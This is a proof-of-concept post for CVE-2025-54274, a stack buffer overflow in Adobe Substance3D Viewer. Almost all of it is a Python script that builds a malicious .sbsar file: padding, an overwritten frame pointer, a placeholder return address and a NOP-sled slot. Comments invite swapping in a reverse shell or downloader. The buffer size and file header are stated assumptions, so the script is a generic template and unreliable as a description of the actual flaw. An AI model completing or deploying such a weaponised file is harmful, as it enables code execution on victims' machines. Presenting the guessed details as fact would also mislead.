CVE-2025-54274：Adobe Substance3D Viewer 栈缓冲区溢出漏洞

# CVE-2025-54274 PoC - Substance3D Viewer Stack-based Buffer Overflow # This is a conceptual PoC demonstrating the vulnerability trigger mechanism # NOTE: Actual exploitation requires crafting a valid malicious Substance resource file import struct # Buffer size assumption (typical for Substance file parsing routines) BUFFER_SIZE = 256 # Shellcode placeholder - replace with actual payload for exploitation # Example: reverse shell, downloader, or other arbitrary code shellcode = b"\x90" * 100 # NOP sled placeholder # Crafted malicious payload that overflows the stack buffer # The payload structure: # [padding to fill buffer] [overwrite saved EBP] [overwrite return address] [shellcode] padding = b"A" * BUFFER_SIZE # Fill the buffer saved_ebp = b"B" * 8 # Overwrite saved frame pointer return_address = struct.pack("<Q", 0x4141414141414141) # Overwrite return address # Complete malicious payload payload = padding + saved_ebp + return_address + shellcode # Write malicious Substance resource file (e.g., .sbsar format) with open("malicious_file.sbsar", "wb") as f: # Write a valid file header to pass initial parsing checks file_header = b"\x53\x42\x53\x41\x52" # Magic bytes for SBSAR format file_header += struct.pack("<I", len(payload)) f.write(file_header) f.write(payload) print(f"[*] Malicious file created: malicious_file.sbsar") print(f"[*] Payload size: {len(payload)} bytes") print(f"[*] Buffer overflow: {len(payload) - BUFFER_SIZE} bytes beyond buffer") print(f"[!] WARNING: This PoC is for educational and authorized testing purposes only") print(f"[!] Opening this file in Substance3D Viewer <= 0.25.2 will trigger CVE-2025-54274")